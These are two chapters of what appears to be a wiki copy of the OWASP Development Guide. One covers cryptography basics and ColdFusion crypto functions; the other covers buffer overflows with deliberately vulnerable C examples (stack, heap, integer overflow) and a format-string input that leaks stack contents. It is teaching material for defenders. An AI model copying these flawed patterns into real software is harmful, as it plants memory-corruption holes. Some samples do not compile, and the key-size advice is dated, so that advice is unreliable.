A good understanding of crypto is required to be able to discern between solid products and snake oil. The inherent complexity of crypto makes it easy to fall for fantastic claims from vendors about their product. Typically, these are “a breakthrough in cryptography” or “unbreakable” or provide "military grade" security. If a vendor says "trust us, we have had experts look at this,” chances are they weren't experts!

==Cryptographic Functions ==

Cryptographic systems can provide one or more of the following four services. It is important to distinguish between these, as some algorithms are more suited to particular tasks, but not to others.

When analyzing your requirements and risks, you need to decide which of these four functions should be used to protect your data.

===Authentication ===

Using a cryptographic system, we can establish the identity of a remote user (or system). A typical example is the SSL certificate of a web server providing proof to the user that he or she is connected to the correct server.

The identity is not of the user, but of the cryptographic key of the user. Having a less secure key lowers the trust we can place on the identity.

===Non-Repudiation ===

The concept of non-repudiation is particularly important for financial or e-commerce applications. Often, cryptographic tools are required to prove that a unique user has made a transaction request. It must not be possible for the user to refute his or her actions.

For example, a customer may request a transfer of money from her account to be paid to another account. Later, she claims never to have made the request and demands the money be refunded to the account. If we have non-repudiation through cryptography, we can prove – usually through digitally signing the transaction request, that the user authorized the transaction.

===Confidentiality ===

More commonly, the biggest concern will be to keep information private. Cryptographic systems were originally developed to function in this capacity. Whether it be passwords sent during a log on process, or storing confidential medical records in a database, encryption can assure that only users who have access to the appropriate key will get access to the data.

===Integrity ===

We can use cryptography to provide a means to ensure data is not viewed or altered during storage or transmission. Cryptographic hashes for example, can safeguard data by providing a secure checksum.

==Cryptographic Algorithms ==

Various types of cryptographic systems exist that have different strengths and weaknesses. Typically, they are divided into two classes; those that are strong, but slow to run and those that are quick, but less secure. Most often a combination of the two approaches is used (e.g.: SSL), whereby we establish the connection with a secure algorithm, and then if successful, encrypt the actual transmission with the weaker, but much faster algorithm.

===Symmetric Cryptography ===

Symmetric Cryptography is the most traditional form of cryptography. In a symmetric cryptosystem, the involved parties share a common secret (password, pass phrase, or key). Data is encrypted and decrypted using the same key. These algorithms tend to be comparatively fast, but they cannot be used unless the involved parties have already exchanged keys. Any party possessing a specific key can create encrypted messages using that key as well as decrypt any messages encrypted with the key. In systems involving a number of users who each need to set up independent, secure communication channels symmetric cryptosystems can have practical limitations due to the requirement to securely distribute and manage large numbers of keys.

Common examples of symmetric algorithms are DES, 3DES and AES. The 56-bit keys used in DES are short enough to be easily brute-forced by modern hardware and DES should no longer be used. Triple DES (or 3DES) uses the same algorithm, applied three times with different keys giving it an effective key length of 128 bits. Due to the problems using the DES alrgorithm, the United States National Institute of Standards and Technology (NIST) hosted a selection process for a new algorithm. The winning algorithm was Rijndael and the associated cryptosystem is now known as the Advanced Encryption Standard or AES. For most applications 3DES is acceptably secure at the current time, but for most new applications it is advisable to use AES.

===Asymmetric Cryptography (also called Public/Private Key Cryptography) ===

Asymmetric algorithms use two keys, one to encrypt the data, and either key to decrypt. These inter-dependent keys are generated together. One is labeled the Public key and is distributed freely. The other is labeled the Private Key and must be kept hidden.

Often referred to as Public/Private Key Cryptography, these cryptosystems can provide a number of different functions depending on how they are used.

The most common usage of asymmetric cryptography is to send messages with a guarantee of confidentiality. If User A wanted to send a message to User B, User A would get access to User B’s publicly-available Public Key. The message is then encrypted with this key and sent to User B. Because of the cryptosystem’s property that messages encoded with the Public Key of User B can only be decrypted with User B’s Private Key, only User B can read the message.

Another usage scenario is one where User A wants to send User B a message and wants User B to have a guarantee that the message was sent by User A. In order to accomplish this, User A would encrypt the message with their Private Key. The message can then only be decrypted using User A’s Public Key. This guarantees that User A created the message Because they are then only entity who had access to the Private Key required to create a message that can be decrcrypted by User A’s Public Key. This is essentially a digital signature guaranteeing that the message was created by User A.

A Certificate Authority (CA), whose public certificates are installed with browsers or otherwise commonly available, may also digitally sign public keys or certificates. We can authenticate remote systems or users via a mutual trust of an issuing CA. We trust their ‘root’ certificates, which in turn authenticate the public certificate presented by the server.[[Category:FIXME|seems like there should be a noun after "avialable"]]

PGP and SSL are prime examples of a systems implementing asymmetric cryptography, using RSA or other algorithms.

===Hashes ===

Hash functions take some data of an arbitrary length (and possibly a key or password) and generate a fixed-length hash based on this input. Hash functions used in cryptography have the property that it is easy to calculate the hash, but difficult or impossible to re-generate the original input if only the hash value is known. In addition, hash functions useful for cryptography have the property that it is difficult to craft an initial input such that the hash will match a specific desired value.

MD5 and SHA-1 are common hashing algorithms used today. These algorithms are considered weak (see below) and are likely to be replaced after a process similar to the AES selection. New applications should consider using SHA-256 instead of these weaker algorithms.

===Key Exchange Algorithms ===

Lastly, we have key exchange algorithms (such as Diffie-Hellman for SSL). These allow use to safely exchange encryption keys with an unknown party.

==Algorithm Selection ==

As modern cryptography relies on being computationally expensive to break, specific standards can be set for key sizes that will provide assurance that with today’s technology and understanding, it will take too long to decrypt a message by attempting all possible keys.

Therefore, we need to ensure that both the algorithm and the key size are taken into account when selecting an algorithm.

===How to determine if you are vulnerable ===

Proprietary encryption algorithms are not to be trusted as they typically rely on ‘security through obscurity’ and not sound mathematics. These algorithms should be avoided if possible.

Specific algorithms to avoid:

* MD5 has recently been found less secure than previously thought. While still safe for most applications such as hashes for binaries made available publicly, secure applications should now be migrating away from this algorithm.

* SHA-0 has been conclusively broken. It should no longer be used for any sensitive applications.

* SHA-1 has been reduced in strength and we encourage a migration to SHA-256, which implements a larger key size.

* DES was once the standard crypto algorithm for encryption; a normal desktop machine can now break it. AES is the current preferred symmetric algorithm.

Cryptography is a constantly changing field. As new discoveries in cryptanalysis are made, older algorithms will be found unsafe. In addition, as computing power increases the feasibility of brute force attacks will render other cryptosystems or the use of certain key lengths unsafe. Standard bodies such as NIST should be monitored for future recommendations.

Specific applications, such as banking transaction systems may have specific requirements for algorithms and key sizes.

===How to protect yourself ===

Assuming you have chosen an open, standard algorithm, the following recommendations should be considered when reviewing algorithms:

'''Symmetric:'''

* Key sizes of 128 bits (standard for SSL) are sufficient for most applications

* Consider 168 or 256 bits for secure systems such as large financial transactions

'''Asymmetric:'''

The difficulty of cracking a 2048 bit key compared to a 1024 bit key is far, far, far, more than the twice you might expect. Don’t use excessive key sizes unless you know you need them. Bruce Schneier in 2002 (see the references section) recommended the following key lengths for circa 2005 threats:

* Key sizes of 1280 bits are sufficient for most personal applications

* 1536 bits should be acceptable today for most secure applications

* 2048 bits should be considered for highly protected applications.

'''Hashes:'''

* Hash sizes of 128 bits (standard for SSL) are sufficient for most applications

* Consider 168 or 256 bits for secure systems, as many hash functions are currently being revised (see above).

NIST and other standards bodies will provide up to date guidance on suggested key sizes.

'''Design your application to cope with new hashes and algorithms'''

==Key Storage ==

As highlighted above, crypto relies on keys to assure a user’s identity, provide confidentiality and integrity as well as non-repudiation. It is vital that the keys are adequately protected. Should a key be compromised, it can no longer be trusted.

Any system that has been compromised in any way should have all its cryptographic keys replaced.

===How to determine if you are vulnerable ===

Unless you are using hardware cryptographic devices, your keys will most likely be stored as binary files on the system providing the encryption.

Can you export the private key or certificate from the store?

* Are any private keys or certificate import files (usually in PKCS#12 format) on the file system? Can they be imported without a password?

* Keys are often stored in code. This is a bad idea, as it means you will not be able to easily replace keys should they become compromised.

===How to protect yourself ===

* Cryptographic keys should be protected as much as is possible with file system permissions. They should be read only and only the application or user directly accessing them should have these rights.

* Private keys should be marked as not exportable when generating the certificate signing request.

* Once imported into the key store (CryptoAPI, Certificates snap-in, Java Key Store, etc.), the private certificate import file obtained from the certificate provider should be safely destroyed from front-end systems. This file should be safely stored in a safe until required (such as installing or replacing a new front end server).

* Host based intrusion systems should be deployed to monitor access of keys. At the very least, changes in keys should be monitored.

* Applications should log any changes to keys.

* Pass phrases used to protect keys should be stored in physically secure places; in some environments, it may be necessary to split the pass phrase or password into two components such that two people will be required to authorize access to the key. These physical, manual processes should be tightly monitored and controlled.

* Storage of keys within source code or binaries should be avoided. This not only has consequences if developers have access to source code, but key management will be almost impossible.

* In a typical web environment, web servers themselves will need permission to access the key. This has obvious implications that other web processes or malicious code may also have access to the key. In these cases, it is vital to minimize the functionality of the system and application requiring access to the keys.

* For interactive applications, a sufficient safeguard is to use a pass phrase or password to encrypt the key when stored on disk. This requires the user to supply a password on startup, but means the key can safely be stored in cases where other users may have greater file system privileges.

Storage of keys in hardware crypto devices is beyond the scope of this document. If you require this level of security, you should really be consulting with crypto specialists.

==Insecure transmission of secrets ==

In security, we assess the level of trust we have in information. When applied to transmission of sensitive data, we need to ensure that encryption occurs before we transmit the data onto any untrusted network.

In practical terms, this means we should aim to encrypt as close to the source of the data as possible.

===How to determine if you are vulnerable ===

This can be extremely difficult without expert help. We can try to at least eliminate the most common problems:

* The encryption algorithm or protocol needs to be adequate to the task. The above discussion on weak algorithms and weak keys should be a good starting point.

* We must ensure that through all paths of the transmission we apply this level of encryption.

* Extreme care needs to be taken at the point of encryption and decryption. If your encryption library needs to use temporary files, are these adequately protected?

* Are keys stored securely? Is an unsecured file left behind after it has been encrypted?

===How to protect yourself ===

We have the possibility to encrypt or otherwise protect data at different levels. Choosing the right place for this to occur can involve looking at both security as well as resource requirements.

'''Application''': at this level, the actual application performs the encryption or other crypto function. This is the most desirable, but can place additional strain on resources and create unmanageable complexity. Encryption would be performed typically through an API such as the OpenSSL toolkit (www.openssl.com) or operating system provided crypto functions.

An example would be an S/MIME encrypted email, which is transmitted as encoded text within a standard email. No changes to intermediate email hosts are necessary to transmit the message because we do not require a change to the protocol itself.

'''Protocol''': at this layer, the protocol provides the encryption service. Most commonly, this is seen in HTTPS, using SSL encryption to protect sensitive web traffic. The application no longer needs to implement secure connectivity. However, this does not mean the application has a free ride. SSL requires careful attention when used for mutual (client-side) authentication, as there are two different session keys, one for each direction. Each should be verified before transmitting sensitive data.

Attackers and penetration testers love SSL to hide malicious requests (such as injection attacks for example). Content scanners are most likely unable to decode the SSL connection, letting it pass to the vulnerable web server.

'''Network''': below the protocol layer, we can use technologies such as Virtual Private Networks (VPN) to protect data. This has many incarnations, the most popular being IPsec (Internet Protocol v6 Security), typically implemented as a protected ‘tunnel’ between two gateway routers. Neither the application nor the protocol needs to be crypto aware – all traffic is encrypted regardless.

Possible issues at this level are computational and bandwidth overheads on network devices.

==Reversible Authentication Tokens ==

Today’s web servers typically deal with large numbers of users. Differentiating between them is often done through cookies or other session identifiers. If these session identifiers use a predictable sequence, an attacker need only generate a value in the sequence in order to present a seemingly valid session token.

This can occur at a number of places; the network level for TCP sequence numbers, or right through to the application layer with cookies used as authenticating tokens.

===How to determine if you are vulnerable ===

Any deterministic sequence generator is likely to be vulnerable.

===How to protect yourself ===

The only way to generate secure authentication tokens is to ensure there is no way to predict their sequence. In other words: true random numbers.

It could be argued that computers can not generate true random numbers, but using new techniques such as reading mouse movements and key strokes to improve entropy has significantly increased the randomness of random number generators. It is critical that you do not try to implement this on your own; use of existing, proven implementations is highly desirable.

Most operating systems include functions to generate random numbers that can be called from almost any programming language.

'''Windows & .NET:''' On Microsoft platforms including .NET, it is recommended to use the inbuilt CryptGenRandom function (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/seccrypto/security/cryptgenrandom.asp.

'''Unix:''' For all Unix based platforms, OpenSSL is an excellent option (http://www.openssl.org/). It features tools and API functions to generate random numbers. On some platforms, /dev/urandom is a suitable source of pseudo-random entropy.

'''PHP:''' mt_rand() uses a Mersenne Twister, but is nowhere near as good as CryptoAPI’s secure random number generation options, OpenSSL, or /dev/urandom which is available on many Unix variants. mt_rand() has been noted to produce the same number on some platforms – test prior to deployment. '''Do not use rand() as it is very weak.'''

'''Java:''' java.security.SecureRandom within the Java Cryptography Extension (JCE) provides secure random numbers. This should be used in preference to other random number generators.

'''ColdFusion: '''ColdFusion MX 7 leverages the JCE java.security.SecureRandom class of the underlying JVM as its pseudo random number generator (PRNG)'''''.'' '''

==Safe UUID generation ==

UUIDs (such as GUIDs and so on) are only unique if you generate them. This seems relatively straightforward. However, there are many code snippets available that contain existing UUIDS.

===How to determine if you are vulnerable ===

# Determine the source of your existing UUIDS
## Did they come from MSDN?
## Or from an example found on the Internet?
# Use your favorite search engine to find out

===How to protect yourself ===

* Do not cut and paste UUIDs and GUIDs from anything other than the UUIDGEN program or from the UuidCreate() API

* Generate fresh UUIDs or GUIDs for each new program

==Summary ==

Cryptography is one of pillars of information security. Its usage and propagation has exploded due to the Internet and it is now included in most areas computing. Crypto can be used for:

* Remote access such as IPsec VPN

* Certificate based authentication

* Securing confidential or sensitive information

* Obtaining non-repudiation using digital certificates

* ?Online orders and payments

* Email and messaging security such as S/MIME

A web application can implement cryptography at multiple layers: application, application server or runtime (such as .NET), operating system and hardware. Selecting an optimal approach requires a good understanding of application requirements, the areas of risk, and the level of security strength it might require, flexibility, cost, etc.

Although cryptography is not a panacea, the majority of security breaches do not come from brute force computation but from exploiting mistakes in implementation. The strength of a cryptographic system is measured in key length. Using a large key length and then storing the unprotected keys on the same server eliminates most of the protection benefit gained. Besides the secure storage of keys, another classic mistake is engineering custom cryptographic algorithms (to generate random session ids for example). Many web applications were successfully attacked because the developers thought they could create their crypto functions.

Our recommendation is to use proven products, tools, or packages rather than rolling your own.

==Further Reading ==

* Wu, H., ''Misuse of stream ciphers in Word and Excel''

http://eprint.iacr.org/2005/007.pdf

* Bindview, ''Vulnerability in Windows NT's SYSKEY encryption''

http://www.bindview.com/Services/razor/Advisories/1999/adv_WinNT_syskey.cfm [[category:FIXME|is this going to the correct page?]]

* Schneier, B. ''Is 1024 bits enough?, ''April 2002 Cryptogram''

''http://www.schneier.com/crypto-gram-0204.html#3

* Schneier, B., Cryptogram,

http://www.counterpane.com/cryptogram.html [[category:FIXME|link not working]]

* NIST, Replacing SHA-1 with stronger variants: SHA-256 ? 512

http://csrc.nist.gov/CryptoToolkit/tkhash.html [[category:FIXME|these two links go to the same page]]

http://csrc.nist.gov/CryptoToolkit/tkencryption.html

* UUIDs are only unique if you generate them:

http://blogs.msdn.com/larryosterman/archive/2005/07/21/441417.aspx

* Cryptographically Secure Random Numbers on Win32:

http://blogs.msdn.com/michael_howard/archive/2005/01/14/353379.aspx

==Cryptography ==

The following section describes ColdFusion’s cryptography features. ColdFusion MX leverages the Java Cryptography Extension (JCE) of the underlying J2EE platform for cryptography and random number generation. It provides functions for symmetric (or private-key) encryption. While it does not provide native functionality for public-key (asymmetric) encryption, it does use the Java Secure Socket Extension (JSSE) for SSL communication.

'''Pseudo-Random Number Generation'''

ColdFusion provides three functions for random number generation: rand(), randomize(), and randRange(). Function descriptions and syntax:

'''Rand''' – Use to generate a pseudo-random number

''' rand([algorithm])'''

'''Randomize''' – Use to seed the pseudo-random number generator (PRNG) with an integer.

''' randomize(number [, algorithm])'''

'''RandRange''' – Use to generate a pseudo-random integer within the range of the specified numbers

''' randrange(number1, number2 [, algorithm])'''

The following values are the allowed algorithm parameters''' ''':

CFMX_COMPAT: (default) – Invokes java.util.rand

SHA1PRNG: (recommended) – Invokes java.security.SecureRandom using the Sun Java SHA-1 PRNG algorithm.

IBMSecureRandom: IBM WebSphere’s JVM does not support the SHA1PRNG algorithm.

'''Symmetric Encryption'''

ColdFusion MX 7 provides six encryption functions: decrypt(), decryptBinary(), encrypt(), encryptBinary(), generateSecretKey(), and hash(). Function descriptions and syntax:

'''Decrypt''' – Use to decrypt encrypted strings with specified key, algorithm, encoding, initialization vector or salt, and iterations

''' decrypt(encrypted_string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''

'''DecryptBinary''' – Use to decrypt encrypted binary data with specified key, algorithm, initialization vector or salt, and iterations

''' decryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''

'''Encrypt''' – Use to encrypt string using specific algorithm, encoding, initialization vector or salt, and iterations

''' encrypt(string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''

'''EncryptBinary''' – Use to encrypt binary data with specified key, algorithm, initialization vector or salt, and iterations

''' encryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''

'''GenerateSecretKey''' – Use to generate a secure key using the specified algorithm for the encrypt and encryptBinary functions

''' generateSecretKey(algorithm)'''

'''Hash '''– Use for one-way conversion of a variable-length string to fixed-length string using the specified algorithm and encoding

''' hash(string[, algorithm[, encoding]] )'''

ColdFusion offers the following default algorithms for these functions''' ''':

CFMX_COMPAT: the algorithm used in ColdFusion MX and prior releases. This algorithm is the least secure option (default).

AES: the Advanced Encryption Standard specified by the National Institute of Standards and Technology (NIST) FIPS-197. (recommended)

BLOWFISH: the Blowfish algorithm defined by Bruce Schneier.

DES: the Data Encryption Standard algorithm defined by NIST FIPS-46-3.

DESEDE: the "Triple DES" algorithm defined by NIST FIPS-46-3.

PBEWithMD5AndDES: A password-based version of the DES algorithm which uses a MD5 hash of the specified password as the encryption key

PBEWithMD5AndTripleDES: A password-based version of the DESEDE algorithm which uses a MD5 hash of the specified password as the encryption key

The following algorithms are provided by default for the hash() function. Note, SHA algorithms used in ColdFusion are NIST FIPS-180-2 compliant''' ''':

CFMX_COMPAT: Generates a MD5 hash string identical to that generated by ColdFusion MX and ColdFusion MX 6.1 (default).

MD5: Generates a 128-bit digest.

SHA: Generates a 160-bit digest. (SHA-1)

SHA-256: Generates a 256-bit digest

SHA-384: Generates a 384-bit digest

SHA-512: Generates a 512-bit digest

'''Pluggable Encryption'''

ColdFusion MX 7 introduced pluggable encryption for CFML. The JCE allows developers to specify multiple cryptographic service providers. ColdFusion can leverage the algorithms, feedback modes, and padding methods of third-party Java security providers to strengthen its cryptography functions. For example, ColdFusion can leverage the Bouncy Castle ('''http://www.bouncycastle.org/''') crypto package and use the SHA-224 algorithm for the hash() function or the Serpent block encryption for the encrypt() function.

See Macromedia’s Strong Encryption in ColdFusion MX 7 technote for information on installing additional security providers for ColdFusion at http://www.macromedia.com/go/e546373d.

'''SSL'''

ColdFusion does not provide tags and functions for public-key encryption, but it can communicate over SSL. ColdFusion leverages the Sun JSSE to communicate over SSL with web and LDAP (lightweight directory access protocol) servers. ColdFusion uses the Java certificate database (e.g. jre_root/lib/security/cacerts) to store server certificates. It compares presented certificate of remote systems to those stored in the database. It also grabs the host system’s certificate from this database and uses it to present to remote systems to initiate the SSL handshake. Certificate information is then exposed as CGI variables.

'''''Best Practices'''''

*Enable /dev/urandom for higher entropy for random number generation

*Call the randomize function before calling rand() or randRange() to seed the random number generator

*DO NOT use the CFMX_COMPAT algorithms. Upgrade your application to use stronger cryptographic ciphers.

*Use AES or higher for symmetric encryption

*Use SHA-256 or higher for the hash function

*Use a salt (or random string) for password generation with the hash function

*Always use generateSecretKey() to generate keys of the appropriate length for Block Encryption algorithms unless a customized key is required

*Use separate key databases to store remote server certificates separately from the ColdFusion server’s certificate

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Encryption]]

Buffer Overflows

2009-05-02T11:47:52Z

KirstenS: /* Further reading */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__'''

==Objective ==

To ensure that:

* Applications do not expose themselves to faulty components.

* Applications create as few buffer overflows as possible.

* Developers are encouraged to use languages and frameworks that are relatively immune to buffer overflows.

==Platforms Affected ==

Almost every platform, with the following notable exceptions:

* Java/J2EE – as long as native methods or system calls are not invoked.

* .NET – as long as unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop).

* PHP, Python, Perl – as long as external programs or vulnerable extensions are not used.

==Relevant COBIT Topics ==

DS11.9 – Data processing integrity.

==Description ==

Attackers generally use [[Buffer Overflow|buffer overflows]] to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code, possibly taking over the machine. Attackers have managed to identify buffer overflows in a staggering array of products and components.

Buffer overflow flaws can be present in both the web server and application server products that serve the static and dynamic portions of a site, or in the web application itself. Buffer overflows found in commonly-used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images or a communications library to send e-mail, they open themselves to potential buffer overflow attacks. Literature detailing buffer overflow attacks against commonly-used products is readily available, and newly discovered vulnerabilities are reported almost daily.

Buffer overflows can also be found in custom web application code, and may even be more likely, given the lack of scrutiny that web applications typically go through. Buffer overflow attacks against customized web applications can sometimes lead to interesting results. In some cases, we have discovered that sending large inputs can cause the web application or the back-end database to malfunction. It is possible to cause a denial of service attack against the web site, depending on the severity and specific nature of the flaw. Overly large inputs could cause the application to display a detailed error message, potentially leading to a successful attack on the system.

Buffer overflow attacks generally rely upon two techniques (and usually the combination):

* Writing data to particular memory addresses

* Having the operating system mishandle data types

* This means that strongly-typed programming languages (and environments) that disallow direct memory access usually prevent buffer overflows from happening.

{| border=1
|-
! Language/Environment !! Compiled or Interpreted !! Strongly Typed !! Direct Memory Access !! Safe or Unsafe

|-

|| Java, Java Virtual Machine (JVM) || Both || Yes || No || Safe

|-

|| .NET || Both || Yes || No || Safe

|-

|| Perl || Both || Yes || No || Safe

|-

|| Python - interpreted || Intepreted || Yes || No || Safe

|-

|| Ruby || Interpreted || Yes || No || Safe

|-

|| C/C++ || Compiled || No || Yes || Unsafe

|-

|| Assembly || Compiled || No || Yes || Unsafe

|-

|| COBOL || Compiled || Yes || No || Safe

|-

|}
Table 8.1: Language descriptions

==General Prevention Techniques ==

A number of general techniques to prevent buffer overflows include:

* Code auditing (automated or manual)

* Developer training – bounds checking, use of unsafe functions, and group standards

* Non-executable stacks – many operating systems have at least some support for this

* Compiler tools – StackShield, StackGuard, and Libsafe, among others

* Safe functions – use strncat instead of strcat, strncpy instead of strcpy, etc

* Patches – Be sure to keep your web and application servers fully patched, and be aware of bug reports relating to applications upon which your code is dependent.

* Periodically scan your application with one or more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications.

==Stack Overflow ==

Stack overflows are the best understood and the most common form of buffer overflows. The basics of a stack overflow is simple:

* There are two buffers, a source buffer containing arbitrary input (presumably from the attacker), and a destination buffer that is too small for the attack input. The second buffer resides on the stack and somewhat adjacent to the function return address on the stack.

* The faulty code does ''not'' check that the source buffer is too large to fit in the destination buffer. It copies the attack input to the destination buffer, overwriting additional information on the stack (such as the function return address).

* When the function returns, the CPU unwinds the stack frame and pops the (now modified) return address from the stack.

* Control does not return to the function as it should. Instead, arbitrary code (chosen by the attacker when crafting the initial input) is executed.

The following example, written in C, demonstrates a stack overflow exploit.

<pre>
#include <string.h>

void f(char* s) {
char buffer[10];
strcpy(buffer, s);
}

void main(void) {
f("01234567890123456789");
}

[root /tmp]# ./stacktest

Segmentation fault
</pre>

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values or non-executable stacks to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===
# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Heap Overflow ==

Heap overflows are problematic in that they are not necessarily protected by CPUs capable of using non-executable stacks. A heap is an area of memory allocated by the application at run-time to store data. The following example, written in C, shows a heap overflow exploit.

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

void main(void) {
u_long b_diff;
char *buf0 = (char*)malloc(BSIZE); // create two buffers
char *buf1 = (char*)malloc(BSIZE);

b_diff = (u_long)buf1 - (u_long)buf0; // difference between locations
printf("Initial values: ");
printf("buf0=%p, buf1=%p, b_diff=0x%x bytes\n", buf0, buf1, b_diff);

memset(buf1, 'A', BUFSIZE-1), buf1[BUFSIZE-1] = '\0';
printf("Before overflow: buf1=%s\n", buf1);

memset(buf0, 'B', (u_int)(diff + OVERSIZE));
printf("After overflow: buf1=%s\n", buf1);
}

[root /tmp]# ./heaptest

Initial values: buf0=0x9322008, buf1=0x9322020, diff=0xff0 bytes
Before overflow: buf1=AAAAAAAAAAAAAAA
After overflow: buf1=BBBBBBBBAAAAAAA
</pre>

The simple program above shows two buffers being allocated on the heap, with the first buffer being overflowed to overwrite the contents of the second buffer.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Format String ==

Format string buffer overflows (usually called "format string vulnerabilities") are highly specialized buffer overflows that can have the same effects as other buffer overflow attacks. Basically, format string vulnerabilities take advantage of the mixture of data and control information in certain functions, such as C/C++'s printf. The easiest way to understand this class of vulnerability is with an example:

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void main(void) {
char str[100] = scanf("%s");
printf("%s", str);
}
</pre>

This simple program takes input from the user and displays it back on the screen. The string <code>%s</code> means that the other parameter, str, should be displayed as a string. This example is ''not'' vulnerable to a format string attack, but if one changes the last line, it becomes exploitable:

printf(str);

To see how, consider the user entering the special input:

''%08x.%08x.%08x.%08x.%08x''

By constructing input as such, the program can be exploited to print the first five entries from the stack.

===How to determine if you are vulnerable ===

If your program:

* uses functions such as printf, snprintf directly, or indirectly through system services (such as syslog) or other AND

* the use of such functions allows input from the user to contain control information interpreted by the function itself

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc. Specifically check for control information (meta-characters like '%')
# Avoid the use of functions like printf that allow user input to contain control information
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Unicode Overflow ==

Unicode exploits are a bit more difficult to do than typical buffer overflows as demonstrated in Anley’s 2002 paper, but it is wrong to assume that by using Unicode, you are protected against buffer overflows. Examples of Unicode overflows include Code Red, a devastating Trojan with an estimated economic cost in the billions of dollars.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* takes Unicode input from a user AND

* fails to sanitize the input AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Integer Overflow ==

When an application takes two numbers of fixed word size and perform an operation with them, the result may not fit within the same word size. For example, if the two 8-bit numbers 192 and 208 are added together and stored into another 8-bit byte, the result will not fit into an 8-bit result:

'' 1100 0000''

'' + 1101 0000''

'' = 0001 1001 0000''

Although such an operation will usually cause some type of exception, your application must be coded to check for such an exception and take proper action. Otherwise, your application would report that 192 + 208 equals 144.

The following code demonstrates a buffer overflow, and was adapted from [http://www.phrack.org/phrack/60/p60-0x0a.txt Blexim's Phrack article]: [[Category:FIXME|broken link]]

<pre>
#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]) {
int i = atoi(argv[1]); // input from user
unsigned short s = i; // truncate to a short
char buf[50]; // large buffer

if (s > 10) { // check we're not greater than 10
return;
}

memcpy(buf, argv[2], i); // copy i bytes to the buffer
buf[i] = '\0'; // add a null byte to the buffer
printf("%s\n", buf); // output the buffer contents

return;
}

[root /tmp]# ./inttest 65580 foobar
Segmentation fault
</pre>

The above code is exploitable because the validation does not occur on the input value (65580), but rather the value after it has been converted to an unsigned short (45).

Integer overflows can be a problem in any language and can be exploited when integers are used in array indices and implicit short math operations.

===How to determine if you are vulnerable ===

* Examine use of signed integers, bytes, and shorts.

* Are there cases where these values are used as array indices after performing an arithmetic operation (+, -, *, /, or % (modulo))?

* How would your program react to a negative or zero value for integer values, particular during array lookups?

===How to protect yourself ===

* If using .NET, use David LeBlanc’s SafeInt class or a similar construct. Otherwise, use a "BigInteger" or "BigDecimal" implementation in cases where it would be hard to validate input yourself.

* If your compiler supports the option, change the default for integers to be unsigned unless otherwise explicitly stated. Use unsigned integers whenever you don't need negative values.

* Use range checking if your language or framework supports it, or be sure to implement range checking yourself after all arithmetic operations.

* Be sure to check for exceptions if your language supports it.

==Further reading ==

* Team Teso, ''Exploiting Format String Vulnerabilities''

http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html [[category:FIXME | link not working]]

* Newsham, Tim, ''Format String Attacks

''http://www.lava.net/~newsham/format-string-attacks.pdf [[category:FIXME | link not working]]

* w00 w00 and Matt Conover, ''Preliminary Heap Overflow Tutorial''

